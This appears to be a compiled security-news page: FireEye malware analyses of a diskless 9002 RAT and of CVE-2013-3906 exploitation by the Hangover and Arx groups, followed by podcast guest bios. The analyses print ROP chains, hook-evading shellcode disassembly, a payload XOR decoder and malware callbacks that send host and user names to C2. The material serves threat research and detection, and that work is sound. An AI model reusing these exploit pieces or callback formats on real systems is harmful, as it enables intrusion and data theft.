The report details how many seemingly unrelated cyber attacks may, in fact, be part of a broader offensive fueled by a shared development and logistics infrastructure — a finding that suggests some targets are facing a more organized menace than they realize. Our research points to centralized planning and development by one or more advanced persistent threat (APT) actors. Malware clearly remains a desired cyber weapon of choice. Streamlining development makes financial sense for attackers, so the findings may imply a bigger trend towards industrialization that achieves an economy of scale.

Download the Malware Supply Report

Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method

Recently, we discovered a new IE zero-day exploit in the wild, which has been used in a strategic Web compromise. Specifically, the attackers inserted this zero-day exploit into a strategically important website, known to draw visitors that are likely interested in national and international security policy. We have identified relationships between the infrastructure used in this attack and that used in Operation DeputyDog. Furthermore, the attackers loaded the payload used in this attack directly into memory without first writing to disk – a technique not typically used by advanced persistent threat (APT) actors. This technique will further complicate network defenders’ ability to triage compromised systems, using traditional forensics methods.

Enter Trojan.APT.9002

On November 8, 2013 our colleagues Xiaobo Chen and Dan Caselden posted about a new Internet Explorer 0-day exploit seen in the wild. This exploit was seen used in a strategic Web compromise. The exploit chain was limited to one website. There were no iframes or redirects to external sites to pull down the shellcode payload.

Through the FireEye Dynamic Threat Intelligence (DTI) cloud, we were able to retrieve the payload dropped in the attack. This payload has been identified as a variant of Trojan.APT.9002 (aka Hydraq/McRAT variant) and runs in memory only. It does not write itself to disk, leaving little to no artifacts that can be used to identify infected endpoints.

Specifically, the payload is shellcode, which is decoded and directly injected into memory after successful exploitation via a series of steps. After an initial XOR decoding of the payload with the key "0x9F", an instance of rundll32.exe is launched and injected with the payload using CreateProcessA, OpenProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread.

figure 1Figure 1 - Initial XOR decoding of shellcode, with key '0x9F'

figure 2a

figure 2bfigure 2cFigure 2 – Shellcode launches rundll32.exe and injects payload

After transfer of control to the injected payload in rundll32.exe, the shellcode is then subjected to two more levels of XOR decoding with the keys '0x01', followed by '0x6A'.

figure 3Figure 3- Decoding shellcode with XOR key '0x01'


figure 4Figure 4 - Decoding shellcode with XOR key '0x6A'

Process execution is then transferred to the final decoded payload, which is a variant of the 9002 RAT.

figure 5Figure 5 - Transfer of process execution to final decoded payload

The fact that the attackers used a non-persistent first stage payload suggests that they are confident in both their resources and skills. As the payload was not persistent, the attackers had to work quickly, in order to gain control of victims and move laterally within affected organizations. If the attacker did not immediately seize control of infected endpoints, they risked losing these compromised endpoints, as the endpoints could have been rebooted at any time – thus automatically wiping the in-memory Trojan.APT.9002 malware variant from the infected endpoint.

Alternatively, the use of this non-persistent first stage may suggest that the attackers were confident that their intended targets would simply revisit the compromised website and be re-infected.

Command and Control Protocol and Infrastructure

This Trojan.APT.9002 variant connected to a command and control server at over port 443. It uses a non-HTTP protocol as well as an HTTP POST for communicating with the remote server. However, the callback beacons have changed in this version, in comparison to the older 9002 RATs.

The older traditional version of 9002 RAT had a static 4-byte identifier at offset 0 in the callback network traffic. This identifier was typically the string "9002", but we have also seen variants, where this has been modified – such as the 9002 variant documented in the Sunshop campaign.

figure 6Figure 6 - Traditional 9002 RAT callback beacon

In contrast, the beacon from the diskless 9002 payload used in the current IE 0-day attack is remarkably different and uses a dynamic 4-byte XOR key to encrypt the data. This 4-byte key is present at offset 0 and changes with each subsequent beacon. FireEye labs is aware that the 4-byte XOR version of 9002 has been in the wild for a while and is used by multiple APT actors, but this is the first time we’ve seen it deployed in the diskless payload method.

figure 7Figure 7 - Sample callback beacons of the diskless 9002 RAT payload


figure 8Figure 8 - XOR decrypted callback beacons of the diskless 9002 RAT payload

The XOR decoded data always contains the static value "\x09\x12\x11\x20" at offset 16. This value is in fact hardcoded in packet data construction function prior to XOR encoding. This value most likely is the date "2011-12-09" but its significance is not known at this time.

figure 9

Figure 9 - Packet data construction function showing hardcoded value

The diskless 9002 RAT payload also makes a POST request, which has also changed from the traditional version. It has Base64 stub data, instead of the static string "AA". The User-Agent string and URI pattern remain the same however. It uses the static string "lynx" in the User-Agent string and the URI is incremental hexadecimal values.

Traditional 9002 RAT Diskless 9002 RAT
POST /4 HTTP/1.1
User-Agent: lynx
Content-Length: 2
Connection: Keep-Alive
Cache-Control: no-cache

POST /4 HTTP/1.1
User-Agent: lynx
Content-Length: 2
Connection: Keep-Alive
Cache-Control: no-cache

POST /2 HTTP/1.1
User-Agent: lynx
Content-Length: 104
Connection: Keep-Alive
Cache-Control: no-cache

POST /2 HTTP/1.1
User-Agent: lynx
Content-Length: 104
Connection: Keep-Alive
Cache-Control: no-cache


The data in the POST stub is also encrypted with a 4-byte XOR key, and when decrypted, the data is similar to the data in the non-HTTP beacon and also has the static value "\x09\x12\x11\x20".

Campaign Analysis

We previously observed 104130d666ab3f640255140007f0b12d connecting to the same IP address.

Analysis of MD5 104130d666ab3f640255140007f0b12d revealed that it shared unique identifying characteristics with 90a37e54c53ffb78969644b1a7038e8c, acbc249061a6a2fb09271a68d53567d9, and 20854f54b0d03118681410245be39bd8.

MD5 acbc249061a6a2fb09271a68d53567d9 and 90a37e54c53ffb78969644b1a7038e8c are both Trojan.APT.9002 variants and connect to a command and control server at

MD5 20854f54b0d03118681410245be39bd8 is another Trojan.APT.9002 variant. This variant connected to a command and control server at

Passive DNS analysis of this domain revealed that it resolved to between 2011-09-23 and 2011-10-21. The following other domains have also been seen resolving to this same IP address:

Domain First Seen Last Seen 2011-12-08 2011-12-08 2012-01-31 2012-01-31 2011-12-23 2011-12-23 2012-01-10 2012-01-10 2012-02-20 2012-02-20 2012-02-22 2012-02-22 2011-12-01 2011-12-01 2012-02-22 2012-02-22

If the domain rings a bell, it should. While covering a different Internet Explorer Zero-day (CVE-2013-3893) and the associated Operation DeputyDog campaign, we reported that the CnC infrastructure used in that campaign overlapped with this same domain:

Inside the in-memory version of the Trojan.APT.9002 payload used in this strategic Web compromise, we identified the following interesting string: “rat_UnInstall”. Through DTI, we found this same string present in a number of different samples including the ones discussed above:





Based on this analysis, all of these samples, including the in-memory variant, can be detected with the following simple YARA signature:

rule FE_APT_9002_rat



        author = "FireEye Labs"


        $mz = {4d 5a}

        $a = "rat_UnInstall" wide ascii


        ($mz at 0) and $a


We also found the following strings of interest present in these above 9002 RAT samples (excluding the in-memory variant):



These strings were all observed and highlighted by Bit9 here. As Bit9 notes in their blog, Trojan.APT.9002 (aka Hydraq/McRAT) was also used in the original Operation Aurora campaign, and the “rat_UnInstall” string can be found in the original Aurora samples confirming the lineage.


By utilizing strategic Web compromises along with in-memory payload delivery tactics and multiple nested methods of obfuscation, this campaign has proven to be exceptionally accomplished and elusive. APT actors are clearly learning and employing new tactics. With uncanny timing and a penchant for consistently employing Zero-day exploits in targeted attacks, we expect APT threat actors to continue to evolve and launch new campaigns for the foreseeable future. Not surprisingly, these old dogs continue to learn new tricks.

FireEye Labs would like to thank iSIGHT Partners for their assistance with this research.

The Dual Use Exploit: CVE-2013-3906 Used in Both Targeted Attacks and Crimeware Campaigns

A zero-day vulnerability was recently discovered that exploits a Microsoft graphics component using malicious Word documents as the initial infection vector. Microsoft has confirmed that this exploit has been used in “attacks observed are very limited and carefully carried out against selected computers, largely in the Middle East and South Asia.”

Our analysis has revealed a connection between these attacks and those previously documented in Operation Hangover, which adds India and Pakistan into the mix of targets. Information obtained from a command-and-control server (CnC) used in recent attacks leveraging this zero-day exploit revealed that the Hangover group, believed to operate from India, has compromised 78 computers, 47 percent of those in Pakistan.

However, we have found that another group also has access to this exploit and is using it to deliver the Citadel Trojan malware. This group, which we call the Arx group, may have had access to the exploit before the Hangover group did. Information obtained from CnCs operated by the Arx group revealed that 619 targets (4024 unique IP addresses) have been compromised. The majority of the targets are in India (63 percent) and Pakistan (19 percent).

Exploit Analysis

The CVE-2013-3906 vulnerability is a heap overflow that occurs when processing TIFF image files with user-controlled allocation and copy size. A function pointer is overwritten and later called to execute code. Exploiting this vulnerability requires the attacker to be able to control the memory layout — which the Hangover and Arx groups did by using a new ActiveX heap-spray technique.

Different ActiveX Heap-spray Method

Judging from samples in the wild that we analyzed, both groups sprayed the heap using the new ActiveX method, but did so slightly differently. The Arx group used a slightly more clever approach to spray the same amount of memory using fewer objects in their exploit document.

Different ROP Payload

The Hangover group’s exploit mainly targets Windows XP because Microsoft Office offers NO Data Execution Prevention (DEP) protection by default, and the exploit doesn’t use return-oriented programming (ROP).

The Arx group, by contrast, uses ROP gadgets from the MSCOMCTL.DLL. In our tests, the ROP payload works for DLL version

Decoded below are the various ROP chains used in the Arx group’s exploits:

Stack pivot:

275b4f3f 94 xchg eax,esp

275b4f40 0100 add dword ptr [eax],eax

275b4f42 5e pop esi

275b4f43 5d pop ebp

275b4f44 c21c00 ret 1Ch

Pop VirtualAlloc IAT from the new stack:

2761bdea 58 pop eax

2761bdeb c3 ret

Calling virtualAlloc to allocate RWX memory at 0x20000000:

275a58fe ff20 jmp dword ptr [eax] ds:0023:275811c8={kernel32!VirtualAlloc (7c809af1)}

Pop the length of the shell code:

27594a33 59 pop ecx

27594a34 c3 ret

Pop destination or source location for a memory copy:

2759a93f 5f pop edi

2759a940 5e pop esi

2759a941 c3 ret

Copy the shell code to 0x20000000:

275ceb04 f3a4 rep movs byte ptr es:[edi],byte ptr [esi]

275ceb06 33c0 xor eax,eax

275ceb08 eb24 jmp MSCOMCTL!DllGetClassObject+0x3860 (275ceb2e)

After the copy, it returns to 0x20000000 to execute the shell code:

275ceb2f 5f pop edi

275ceb2f 5e pop esi

275ceb30 5b pop ebx

275ceb31 5d pop ebp

275ceb32 c3 ret

Different Shellcode

The Hangover group is using the URL Download shell code, but with a hook-hopping technique:


;; Check if target has been hooked with an absolute call instruction

001C205F cmp byte ptr [eax],0xE8

001C2062 jz 001C2073

;; Check if target has been hooked with an absolute jump instruction

001C2064 cmp byte ptr [eax],0xE9

001C2067 jz 001C2073

;; Check if target has been hooked with a software breakpoint

001C2069 cmp byte ptr [eax],0xCC

001C206C jz 001C2073

001C206E cmp byte ptr [eax],0xEB

001C2071 jnz 001C2084

001C2073 cmp dword ptr [eax+0x5],0x90909090

001C207A jz 001C2084

001C207C mov edi,edi

001C207E push ebp

001C207F mov ebp,esp

001C2081 lea eax,[eax+0x5]

001C2084 jmp eax

The hook-hopping technique was enabled for all API calls in this shell code, such as LoadlibraryA, GetTempPathA, URLDownloadToFileA, ShellExecuteA, and ExitProcess.

The Arx group’s shell code uses the NTAccessCheckAndAuditAlarm system call to search memory for the dropper, then calls loadLibrary to load the dropper.  NTAccessCheckAndAuditAlarm is one safe way to search memory to avoid access violations when accessing unmapped memory addresses. Upon finding the right memory location, the dropper XOR method is different, which is not easy to decode with brute force.

B5 00 9B B1 B5 00 9B B1 3A 9E 00 BA 04 00 77 82

The first two DWORDs are the signature used to locate the binary by the NTAccessCheckAndAuditAlarm system call.

0x3A is the first XOR key and 0x9E is the second XOR key. 0x0004BA00 is the dropper file’s length.

The XOR algorithm is described below. The algorithm takes two keys. The first key is XORed against the ciphertext, and the second key is added to the first key, after each XOR operation:

def xor(a, key, key2):

x = bytearray(a)

for i in range(len(x)):

x[i] ^= key&0xff

key += key2

return x

The Hangover Group

As previously documented, “Operation Hangover” was a multi-year series of coordinated campaigns targeting systems around the world with a primary focus on organizations in Pakistan. “Operation Hangover” was uncovered, after the attackers responsible for this campaign targeted Telenor, a major Norwegian telecommunications provider. The Hangover group is believed to have been operating as early as 2009.

Cluster and Protocol Analysis

The related samples were uploaded to VirusTotal between 2013-10-23 and 2013-10-31. This provides an indication of when CVE-2013-3906 was first used by the Hangover group. The EXIF data contained within the malicious Word documents used by the group, which is likely an artifact of the builder, contain these dates:

  • CreateDate: 2013:10:03 22:46:00Z
  • ModifyDate: 2013:10:03 23:17:00Z

As such, it appears that the Hangover group acquired the exploit in October 2013. Elements of the CnC infrastructure were already place, suggesting that Hangover was using it before acquiring this zero-day exploit.


All but one of the samples can be linked through “” — the website from which malware files are downloaded after initial exploitation. As for the exception, we believe that this cluster is probably related because the EXIF data in the malicious Word document aligns with the other Hangover samples.

The malware files that are downloaded after exploitation have three different callbacks. The first, which is the “classic” Hangover HTTP callback, follows this format:

GET /logitech/rt.php?cn=[HOSTNAME]@[USERNAME]&str=&file=no HTTP/1.1

User-Agent: WinInetGet/0.1


Connection: Keep-Alive

Cache-Control: no-cache

The second type of callback looks like this:

GET /NewsApp/rssfeed.php?a=[TEXT]&134416 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)


Connection: Keep-Alive

The third type of callback is:

GET /amd/psp.php?p=1&g=[TEXT]&v=RE[]&s=MicrosoftWindowsXPProfessional-32&t=[HOSTNAME]-[USERNAME]&r=[0]&X9S8T3 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)


Connection: Keep-Alive

CnC Analysis

For each compromised system that checked-in to the CnC server, a directory was created on the server in the format of “<machine name>@<username>.” Within each directory, three files are created: Info.txt, Result.txt, and index.html.  The index.html was a simple html file listing the directory contents on the server.  Info.txt detailed the target's machine name, username, IP address, and the antivirus product installed, if any:

Info.txt Output

User : machinename@username

IP :  <target IP address>

AV : <Antivirus product installed on target machine>

It appears that when the target systems successfully checked in to the CnC server, the server could push down an executable file to be executed on the targeted system. The result of that action was recorded in Result.txt.

Result.txt Output

Result : svchost.exe======failed

Result : svchoste.exe======sucessfully

Result : taskngr.exe======sucessfully

Result : lgfxsrvc.exe======successfully

(Note: “successfully” was spelled properly in the last entry, but not in the preceding entries.)

We obtained a number of these second-stage executables listed in the Result.txt output from a Hangover-linked CnC server.  These executables included a variety of tools including a reverse shell backdoor, a keylogger, a screenshot grabber, and a document exfiltration tool.

The domains and IP addresses associated with these second stage tools are:


These second-stage tools are discussed in more detail in here.

Target Analysis

The data we obtained from one of the Hangover CnC servers reveals 78 targets (based on unique IP addresses). But to be clear: this list likely includes a variety of researchers who were investigating the malware.  A total of 47 percent of the IP addresses were in ranges assigned to Pakistan. This is consistent with the known targeting preferences of the Hangover group.


The Arx Group

During our investigation, we found another set of samples that were also exploiting this same zero-day vulnerability. These samples drop the Citadel Trojan. Citadel is a variant of the Zeus Trojan that emerged in 2012 after the Zeus source code was leaked. Citadel is designed to allow cybercriminals to steal banking information and account credentials.

Malware Analysis

Malware linked to the Arx group is usually sent out in “SWIFT Payment” emails. These emails are common in spam campaigns and typically drop banking Trojans and other crimeware.


After opening the file, a decoy document is shown to the user. (In this example, the attackers made a mistake and confused the dropped executable with the decoy document.)


Upon further analysis, we found that the malware payload within these samples is the Citadel Trojan.  The samples were uploaded to VirusTotal between 2013-09-26 and 2013-10-31, which provides an indication of when this group obtained the zero-day exploit. The EXIF data contained within the malicious Word documents, which is likely an artifact of the builder, contain the following dates:

  • CreateDate : 2013:03:22 19:59:00Z
  • ModifyDate : 2013:03:22 20:02:00Z

Other decoy documents used by the Arx group:


Possible testing:

The  CnC infrastructure for these Citadel samples cluster into three groups, but they employ common decoy documents (the document opened after exploitation).


Next, we focused on the cluster of CnC servers registered by “”. This email address has also been used on underground forums by someone interested in purchasing compromised SMTP servers.


The individual using this email address may also use the alias “cutedguy247.”


Target Analysis

Based on information we retrieved from two CnC servers, the Citadel botnet operated by “” has 619 targets (based on the unique ID assigned by the malware) that checked in with 4024 IP addresses. The compromised systems begin calling back to the first CnC server on October 3rd, 2013, while the earliest callback to the second CnC server is Oct. 4, 2013. Using the geolocation of the IP addresses, we observed that the majority of the targets are located in India (63 percent ) and Pakistan (19 percent).




The use of this zero-day exploit (CVE-2013-3906) is more widespread that previously believed. Two different groups are using this exploit: Hangover and Arx. Hangover has been previously connected with a targeted malware campaign, and the Arx group is operating a Citadel-based botnet for organized crime.

Based on this analysis, the Arx group appears to have had access to this zero-day exploit before the Hangover group.

Although we have not been able to connect the activities of the Hangover and Arx groups, they share one interesting feature: an India-Pakistan nexus.

Somebody’s Watching: The Future of Privacy – Episode 350, Part 6 – October 25, 2013

Robert Graham is the co-founder and CTO of Errata Security, a firm specializing in cybersecurity consulting and product verification. Mr. Graham learned hacking as a toddler from his grandfather, a World War II codebreaker. His first IDS was written more than 10 years ago designed to catch Morris-worm copycats.

Dan Auerbach is a Staff Technologist who is passionate about defending civil liberties and encouraging government transparency. Dan works on EFF's various technical projects and helps lawyers, activists, and the public understand important technologies that might threaten the privacy or security of users.

Corey Thuen is co-founder of Southfork Security, a security services company specializing in ICS. Corey recently found out first-hand how fragile privacy can be when a large corporation decides to sue you over your open source software.

Military Veterans in Information Security – Episode 350, Part 5 – October 25, 2013

Nik Seetharaman is a consultant for a government client in the DC area. He spent 11 years in the United States Air Force where he served in the intelligence and joint special operations communities.

Nate Kenyon (@L2Nate) spent 5 years in the Marine Corps doing everything from pulling cable to configuring routers and switches. After leaving the USMC he worked for several defense contractors working with the US Navy and Defense Logistics Agency doing firewall, IPS and network configurations. He currently works for a large corporation working on wired and wireless intrusion detection systems and security product evaluations.

Michael Farnum has worked with computers since he got a Kaypro II and an Apple IIc during his middle school years. Michael served in the US Army, where he drove, loaded, and gunned on the mighty M1A1 Abrams main battle tank (which is where he got his "m1a1vet" handle).

Dave Kennedy worked for the United States Marine Corps and deployed to Iraq twice for intelligence related missions. He also holds the World Record for most hugs given at a conference and is founder and principal security consultant of TrustedSec - An information security consulting firm located in Cleveland Ohio.

RazorEQX is a A CEH, OSCP certified Security professional with over 25 years’ experience and a proven leadership track record. Experience in most aspects of Information Technology, in a wide range of industries and disciplines; specializing in in-depth Malware, intelligence collaboration the past 4 years.

Sno0ose (@Sno0ose) served as Combat medic for a combat aviation unit. Was wounded overseas during a 1 year tour of duty. Now a consultant with focus on incident response, vulnerability assessment, reverse-engineering malware, and penetration testing. Co-host of Grumpysec, and lead coordinator of BSidesMSP.

Interview with Jayson Street, Interview with Kevin Finisterre – Episode 350, Part 4 – October 25, 2013

Jayson E. Street is an author of “Dissecting the hack: The F0rb1dd3n Network” from Syngress. He has also spoken at DEFCON, DerbyCon, UCON and at several other ‘CONs and colleges on a variety of Information Security subjects. His life story can be found on Google under “Jayson E. Street.” He is a highly carbonated speaker who has partaken of Pizza from Beijing to Brazil. He does not expect anybody to still be reading this far but if they are please note he was chosen as one of Time’s persons of the year for 2006. ;)

Kevin Finisterre is a Senior Research Consultant with Accuvant, has hacked everything from utilities providers to police cars and is keen on disseminating information relating to the identification and exploitation of software vulnerabilities on many platforms.

Java Whitelisting, Honeynet Project, HTTP Comments Displayer – Episode 350, Part 3 – October 25, 2013

As with most sizable organizations it is near impossible to uninstall or completely disable Java which sent us on a hunt for a feasible way to contain Java based attacks. What we came up with was restricting it to run only in trusted zones. This worked for APPLET tags when encountered in IE.

What this does is block any applet from running if it is not part of a trusted internet zone. First thing is to identify all the internal trusted zones and add them. Next allow the user to trust their own zones. Most of the time it seemed they knew when there was an applet they wanted to run.

The Honeynet Project is a lnon-profit security research organization, dedicated to investigating the latest attacks and developing open source security tools to improve Internet security. With Chapters around the world, our volunteers have contributed to fight again malware (such as Confickr), discovering new attacks and creating security tools used by businesses and government agencies all over the world. The organization continues to be on the cutting edge of security research by working to analyze the latest attacks and educating the public about threats to information systems across the world.

Why would use use HTTP Comments displayer? This nmap script makes use of patterns to extract HTML comments from HTTP responses. There are times sensitive information may be present within these comments. While this does not necessarily represent a breach in security, this information can be leveraged by an attacker for exploitation.